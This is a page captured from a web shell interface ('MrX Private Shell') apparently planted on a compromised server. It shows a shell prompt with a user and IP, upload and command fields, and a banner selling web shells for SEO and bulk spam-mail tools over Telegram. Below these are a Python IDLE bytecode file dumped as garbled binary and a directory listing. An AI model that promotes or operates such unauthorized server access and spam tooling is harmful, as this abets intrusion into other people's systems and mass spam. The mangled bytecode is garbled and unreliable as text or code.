__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.79: ~ $
3

� fN�@s�dZddlZddlmZmZddlmZddlmZdd�Z	Gdd	�d	e�Z
d
d�Zedkr�dd
l
mZedddd�ddlmZee�dS)z�Replace dialog for IDLE. Inherits SearchDialogBase for GUI.
Uses idlelib.SearchEngine for search capability.
Defines various replace related functions like replace, replace all,
replace+find.
�N)�	StringVar�TclError)�SearchDialogBase)�searchenginecCs<|j�}tj|�}t|d�s(t||�|_|j}|j|�dS)zvReturns a singleton ReplaceDialog instance.The single dialog
     saves user entries and preferences across instances.�_replacedialogN)Z_rootr�get�hasattr�
ReplaceDialogr�open)�text�root�engineZdialog�r�4/opt/alt/python36/lib64/python3.6/idlelib/replace.py�replace
s

rc@s�eZdZdZdZdd�Zdd�Zdd�Zd	d
�Zddd
�Z	d dd�Z
d!dd�Zdd�Zd"dd�Z
d#dd�Zdd�Zdd�Zd$dd�ZdS)%r	zReplace Dialog�ReplacecCstj|||�t|�|_dS)N)r�__init__r�replvar)�selfrr
rrrrszReplaceDialog.__init__cCs�tj||�y|jd�}Wntk
r2d}YnXy|jd�}Wntk
rZd}YnX|ph|jd�}|pp|}|j||�d|_dS)zDisplay the replace dialogz	sel.firstNzsel.last�insert�)rr
�indexr�show_hit�ok)rr�first�lastrrrr
!s

zReplaceDialog.opencCs"tj|�|jd|j�d|_dS)z#Create label and text entry widgetsz
Replace with:rN)r�create_entriesZ
make_entryrZreplent)rrrrr1s
zReplaceDialog.create_entriescCsHtj|�|jd|j�|jd|j�|jd|jd�|jd|j�dS)NZFindrzReplace+FindrzReplace All)r�create_command_buttonsZmake_button�find_it�
replace_it�default_command�replace_all)rrrrr6s

z$ReplaceDialog.create_command_buttonsNcCs|jd�dS)Nr)�do_find)r�eventrrrr=szReplaceDialog.find_itcCs|j|j�r|j�dS)N)r"r�
do_replace)rr#rrrr@szReplaceDialog.replace_itcCs"|j|j�r|j�r|jd�dS)zReplace and find next.rN)r"rr$)rr#rrrr DszReplaceDialog.default_commandcCsL|jj�rDy|j|�}WqHtjk
r@|jj|d�d}YqHXn|}|S)za Helper function for expanding a regular expression
            in the replace field, if needed. zInvalid Replace ExpressionN)r
Zisre�expand�re�errorZreport_error)r�m�repl�newrrr�_replace_expandKs
zReplaceDialog._replace_expandcCs�|jj�}|sdS|jj�}|j}|jj||�}|s@|j�dS|jddd�|jddd�|d}|dj�}|jj	�r�d}d}d}d}	}
|j
�x�|jj||||d|�}|s�P|\}}|jd|d|d�}|j�}
|j
||�}|dkr�P|j�\}}d	||f}	d	||f}
||
k�r.|jd
|
�n4|jd
|	�|	|
k�rP|j|	|
�|�rb|j|	|�|t|�}d}q�W|j�|	�r�|
�r�|j|	|
�|j�dS)z4Replace all instances of patvar with replvar in textN�selz1.0�end�hitrrz%d.0z%d.%dr)r
�getprogrrr�search_text�bell�
tag_remove�startZiswrap�undo_block_startZsearch_forward�groupr+�span�mark_set�deleter�len�undo_block_stopr�close)rr#�progr)r�res�line�colrrrr(�charsZorigr*�i�jrrrr!YsZ




zReplaceDialog.replace_allrc
Csv|jj�sdS|j}|jj|d|�}|s4|j�dS|\}}|j�\}}d||f}d||f}	|j||	�d|_dS)NFz%d.%drT)r
r/rr0r1r6rr)
rrrr=r>r(rArBrrrrrr"�s
zReplaceDialog.do_findc
Cs|jj�}|sdS|j}y|jd�}}|jd�}Wntk
rLd}YnX|sd|jd�}}}tj|�\}}|jd|d|d�}|j||�}	|s�dS|j	|	|j
j��}
|
dkr�dS|jd|�|j�|	j
�r�|j||�|
r�|j||
�|j�|j||jd��d|_dS)	NFz	sel.firstzsel.lastrz%d.0rrT)r
r/rrrrZget_line_colr�matchr+rr7r4r5r8rr:rr)rr<rr�posrr>r?r@r(r*rrrr$�s:

zReplaceDialog.do_replacecCsv|j}|jd|�|jddd�|jd||�|jddd�||krR|jd|�n|jd||�|jd�|j�dS)zMHighlight text from 'first' to 'last'.
        'first', 'last' - Text indicesrr,z1.0r-r.N)rr7r2�tag_addZseeZupdate_idletasks)rrrrrrrr�s
zReplaceDialog.show_hitcCs tj||�|jjddd�dS)Nr.z1.0r-)rr;rr2)rr#rrrr;�szReplaceDialog.close)N)N)N)N)r)N)�__name__�
__module__�__qualname__�titleZiconrr
rrrrr r+r!r"r$rr;rrrrr	s



2
r	cs�ddlm}m}m�m�ddlm}||�}|jd�tt	|j
�jd�dd��\}}|j
d||df�d	d
�}dd�}||d
d��|�_|�_
�j��jdd��j����fdd�}	||d|	d�}
|
j�dS)Nr)�Toplevel�Text�END�SEL)�ButtonzTest ReplaceDialog�+rz+%d+%d�cSsdS)Nrrrrrr4�sz)_replace_dialog.<locals>.undo_block_startcSsdS)Nrrrrrr:�sz(_replace_dialog.<locals>.undo_block_stopZgray)Zinactiveselectbackgroundrz"This is a sample sTring
Plus MORE.cs(�j�d��t���j�d��dS)Nz1.0)rErr2r)rLrMrrr�show_replace�sz%_replace_dialog.<locals>.show_replacer)rZcommand)�tkinterrJrKrLrMZtkinter.ttkrNrI�map�intZgeometry�splitr4r:ZpackrZ	focus_set)�parentrJrKrNZbox�x�yr4r:rQZbuttonr)rLrMrr�_replace_dialog�s"
 rY�__main__)�mainzidlelib.idle_test.test_replace�F)�	verbosity�exit)�run)�__doc__r&rRrrZidlelib.searchbaserZidlelibrrr	rYrFZunittestr[Zidlelib.idle_test.htestr_rrrr�<module>s7

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 509 B 0644
__init__.cpython-36.opt-2.pyc File 139 B 0644
__init__.cpython-36.pyc File 509 B 0644
__main__.cpython-36.opt-1.pyc File 270 B 0644
__main__.cpython-36.opt-2.pyc File 191 B 0644
__main__.cpython-36.pyc File 270 B 0644
_pyclbr.cpython-36.opt-1.pyc File 10.18 KB 0644
_pyclbr.cpython-36.opt-2.pyc File 6.65 KB 0644
_pyclbr.cpython-36.pyc File 10.18 KB 0644
autocomplete.cpython-36.opt-1.pyc File 7.02 KB 0644
autocomplete.cpython-36.opt-2.pyc File 5.43 KB 0644
autocomplete.cpython-36.pyc File 7.02 KB 0644
autocomplete_w.cpython-36.opt-1.pyc File 10.81 KB 0644
autocomplete_w.cpython-36.opt-2.pyc File 10.07 KB 0644
autocomplete_w.cpython-36.pyc File 10.85 KB 0644
autoexpand.cpython-36.opt-1.pyc File 2.76 KB 0644
autoexpand.cpython-36.opt-2.pyc File 2.02 KB 0644
autoexpand.cpython-36.pyc File 2.76 KB 0644
browser.cpython-36.opt-1.pyc File 9.35 KB 0644
browser.cpython-36.opt-2.pyc File 6.82 KB 0644
browser.cpython-36.pyc File 9.35 KB 0644
calltip.cpython-36.opt-1.pyc File 5.48 KB 0644
calltip.cpython-36.opt-2.pyc File 3.89 KB 0644
calltip.cpython-36.pyc File 5.48 KB 0644
calltip_w.cpython-36.opt-1.pyc File 6.02 KB 0644
calltip_w.cpython-36.opt-2.pyc File 5.1 KB 0644
calltip_w.cpython-36.pyc File 6.02 KB 0644
codecontext.cpython-36.opt-1.pyc File 7.96 KB 0644
codecontext.cpython-36.opt-2.pyc File 5.04 KB 0644
codecontext.cpython-36.pyc File 7.99 KB 0644
colorizer.cpython-36.opt-1.pyc File 8.17 KB 0644
colorizer.cpython-36.opt-2.pyc File 8 KB 0644
colorizer.cpython-36.pyc File 8.17 KB 0644
config.cpython-36.opt-1.pyc File 29.79 KB 0644
config.cpython-36.opt-2.pyc File 19.85 KB 0644
config.cpython-36.pyc File 29.79 KB 0644
config_key.cpython-36.opt-1.pyc File 13.52 KB 0644
config_key.cpython-36.opt-2.pyc File 12.47 KB 0644
config_key.cpython-36.pyc File 13.52 KB 0644
configdialog.cpython-36.opt-1.pyc File 75.72 KB 0644
configdialog.cpython-36.opt-2.pyc File 46.64 KB 0644
configdialog.cpython-36.pyc File 75.72 KB 0644
debugger.cpython-36.opt-1.pyc File 13.89 KB 0644
debugger.cpython-36.opt-2.pyc File 13.73 KB 0644
debugger.cpython-36.pyc File 13.89 KB 0644
debugger_r.cpython-36.opt-1.pyc File 13.44 KB 0644
debugger_r.cpython-36.opt-2.pyc File 11.1 KB 0644
debugger_r.cpython-36.pyc File 13.57 KB 0644
debugobj.cpython-36.opt-1.pyc File 5.05 KB 0644
debugobj.cpython-36.opt-2.pyc File 5.04 KB 0644
debugobj.cpython-36.pyc File 5.05 KB 0644
debugobj_r.cpython-36.opt-1.pyc File 1.96 KB 0644
debugobj_r.cpython-36.opt-2.pyc File 1.95 KB 0644
debugobj_r.cpython-36.pyc File 1.96 KB 0644
delegator.cpython-36.opt-1.pyc File 1.25 KB 0644
delegator.cpython-36.opt-2.pyc File 1.14 KB 0644
delegator.cpython-36.pyc File 1.25 KB 0644
dynoption.cpython-36.opt-1.pyc File 2.23 KB 0644
dynoption.cpython-36.opt-2.pyc File 1.85 KB 0644
dynoption.cpython-36.pyc File 2.23 KB 0644
editor.cpython-36.opt-1.pyc File 47.29 KB 0644
editor.cpython-36.opt-2.pyc File 45.67 KB 0644
editor.cpython-36.pyc File 47.37 KB 0644
filelist.cpython-36.opt-1.pyc File 3.29 KB 0644
filelist.cpython-36.opt-2.pyc File 3.25 KB 0644
filelist.cpython-36.pyc File 3.32 KB 0644
grep.cpython-36.opt-1.pyc File 6.59 KB 0644
grep.cpython-36.opt-2.pyc File 4.79 KB 0644
grep.cpython-36.pyc File 6.59 KB 0644
help.cpython-36.opt-1.pyc File 10.05 KB 0644
help.cpython-36.opt-2.pyc File 7.37 KB 0644
help.cpython-36.pyc File 10.05 KB 0644
help_about.cpython-36.opt-1.pyc File 7.25 KB 0644
help_about.cpython-36.opt-2.pyc File 6.15 KB 0644
help_about.cpython-36.pyc File 7.25 KB 0644
history.cpython-36.opt-1.pyc File 3.32 KB 0644
history.cpython-36.opt-2.pyc File 2.11 KB 0644
history.cpython-36.pyc File 3.32 KB 0644
hyperparser.cpython-36.opt-1.pyc File 6.62 KB 0644
hyperparser.cpython-36.opt-2.pyc File 5.33 KB 0644
hyperparser.cpython-36.pyc File 6.62 KB 0644
idle.cpython-36.opt-1.pyc File 335 B 0644
idle.cpython-36.opt-2.pyc File 327 B 0644
idle.cpython-36.pyc File 335 B 0644
iomenu.cpython-36.opt-1.pyc File 13.45 KB 0644
iomenu.cpython-36.opt-2.pyc File 13.03 KB 0644
iomenu.cpython-36.pyc File 13.45 KB 0644
macosx.cpython-36.opt-1.pyc File 7.43 KB 0644
macosx.cpython-36.opt-2.pyc File 5.29 KB 0644
macosx.cpython-36.pyc File 7.43 KB 0644
mainmenu.cpython-36.opt-1.pyc File 3.72 KB 0644
mainmenu.cpython-36.opt-2.pyc File 3.25 KB 0644
mainmenu.cpython-36.pyc File 3.72 KB 0644
multicall.cpython-36.opt-1.pyc File 14.94 KB 0644
multicall.cpython-36.opt-2.pyc File 12.63 KB 0644
multicall.cpython-36.pyc File 15 KB 0644
outwin.cpython-36.opt-1.pyc File 5.98 KB 0644
outwin.cpython-36.opt-2.pyc File 4.32 KB 0644
outwin.cpython-36.pyc File 5.98 KB 0644
paragraph.cpython-36.opt-1.pyc File 5.8 KB 0644
paragraph.cpython-36.opt-2.pyc File 3.95 KB 0644
paragraph.cpython-36.pyc File 5.8 KB 0644
parenmatch.cpython-36.opt-1.pyc File 6.23 KB 0644
parenmatch.cpython-36.opt-2.pyc File 4.71 KB 0644
parenmatch.cpython-36.pyc File 6.23 KB 0644
pathbrowser.cpython-36.opt-1.pyc File 3.66 KB 0644
pathbrowser.cpython-36.opt-2.pyc File 3.51 KB 0644
pathbrowser.cpython-36.pyc File 3.66 KB 0644
percolator.cpython-36.opt-1.pyc File 3.43 KB 0644
percolator.cpython-36.opt-2.pyc File 3.42 KB 0644
percolator.cpython-36.pyc File 3.56 KB 0644
pyparse.cpython-36.opt-1.pyc File 11.4 KB 0644
pyparse.cpython-36.opt-2.pyc File 7.9 KB 0644
pyparse.cpython-36.pyc File 11.75 KB 0644
pyshell.cpython-36.opt-1.pyc File 41.73 KB 0644
pyshell.cpython-36.opt-2.pyc File 39.24 KB 0644
pyshell.cpython-36.pyc File 41.85 KB 0644
query.cpython-36.opt-1.pyc File 10.19 KB 0644
query.cpython-36.opt-2.pyc File 8.11 KB 0644
query.cpython-36.pyc File 10.19 KB 0644
redirector.cpython-36.opt-1.pyc File 6.6 KB 0644
redirector.cpython-36.opt-2.pyc File 3.24 KB 0644
redirector.cpython-36.pyc File 6.6 KB 0644
replace.cpython-36.opt-1.pyc File 6.92 KB 0644
replace.cpython-36.opt-2.pyc File 6.27 KB 0644
replace.cpython-36.pyc File 6.92 KB 0644
rpc.cpython-36.opt-1.pyc File 19.1 KB 0644
rpc.cpython-36.opt-2.pyc File 15.63 KB 0644
rpc.cpython-36.pyc File 19.18 KB 0644
rstrip.cpython-36.opt-1.pyc File 1.05 KB 0644
rstrip.cpython-36.opt-2.pyc File 990 B 0644
rstrip.cpython-36.pyc File 1.05 KB 0644
run.cpython-36.opt-1.pyc File 14.99 KB 0644
run.cpython-36.opt-2.pyc File 13 KB 0644
run.cpython-36.pyc File 15.03 KB 0644
runscript.cpython-36.opt-1.pyc File 6.33 KB 0644
runscript.cpython-36.opt-2.pyc File 5.15 KB 0644
runscript.cpython-36.pyc File 6.33 KB 0644
scrolledlist.cpython-36.opt-1.pyc File 5.26 KB 0644
scrolledlist.cpython-36.opt-2.pyc File 5.25 KB 0644
scrolledlist.cpython-36.pyc File 5.26 KB 0644
search.cpython-36.opt-1.pyc File 3.46 KB 0644
search.cpython-36.opt-2.pyc File 3.2 KB 0644
search.cpython-36.pyc File 3.46 KB 0644
searchbase.cpython-36.opt-1.pyc File 7.79 KB 0644
searchbase.cpython-36.opt-2.pyc File 5.09 KB 0644
searchbase.cpython-36.pyc File 7.79 KB 0644
searchengine.cpython-36.opt-1.pyc File 6.68 KB 0644
searchengine.cpython-36.opt-2.pyc File 5.06 KB 0644
searchengine.cpython-36.pyc File 6.68 KB 0644
squeezer.cpython-36.opt-1.pyc File 9.67 KB 0644
squeezer.cpython-36.opt-2.pyc File 6.56 KB 0644
squeezer.cpython-36.pyc File 9.71 KB 0644
stackviewer.cpython-36.opt-1.pyc File 4.94 KB 0644
stackviewer.cpython-36.opt-2.pyc File 4.93 KB 0644
stackviewer.cpython-36.pyc File 4.94 KB 0644
statusbar.cpython-36.opt-1.pyc File 1.9 KB 0644
statusbar.cpython-36.opt-2.pyc File 1.89 KB 0644
statusbar.cpython-36.pyc File 1.9 KB 0644
textview.cpython-36.opt-1.pyc File 6.29 KB 0644
textview.cpython-36.opt-2.pyc File 4.74 KB 0644
textview.cpython-36.pyc File 6.29 KB 0644
tooltip.cpython-36.opt-1.pyc File 6.41 KB 0644
tooltip.cpython-36.opt-2.pyc File 4.82 KB 0644
tooltip.cpython-36.pyc File 6.41 KB 0644
tree.cpython-36.opt-1.pyc File 13.94 KB 0644
tree.cpython-36.opt-2.pyc File 13.18 KB 0644
tree.cpython-36.pyc File 13.94 KB 0644
undo.cpython-36.opt-1.pyc File 10.53 KB 0644
undo.cpython-36.opt-2.pyc File 10.52 KB 0644
undo.cpython-36.pyc File 10.53 KB 0644
window.cpython-36.opt-1.pyc File 3.08 KB 0644
window.cpython-36.opt-2.pyc File 3.07 KB 0644
window.cpython-36.pyc File 3.08 KB 0644
zoomheight.cpython-36.opt-1.pyc File 1.37 KB 0644
zoomheight.cpython-36.opt-2.pyc File 1.31 KB 0644
zoomheight.cpython-36.pyc File 1.37 KB 0644
zzdummy.cpython-36.opt-1.pyc File 1.18 KB 0644
zzdummy.cpython-36.opt-2.pyc File 1.1 KB 0644
zzdummy.cpython-36.pyc File 1.18 KB 0644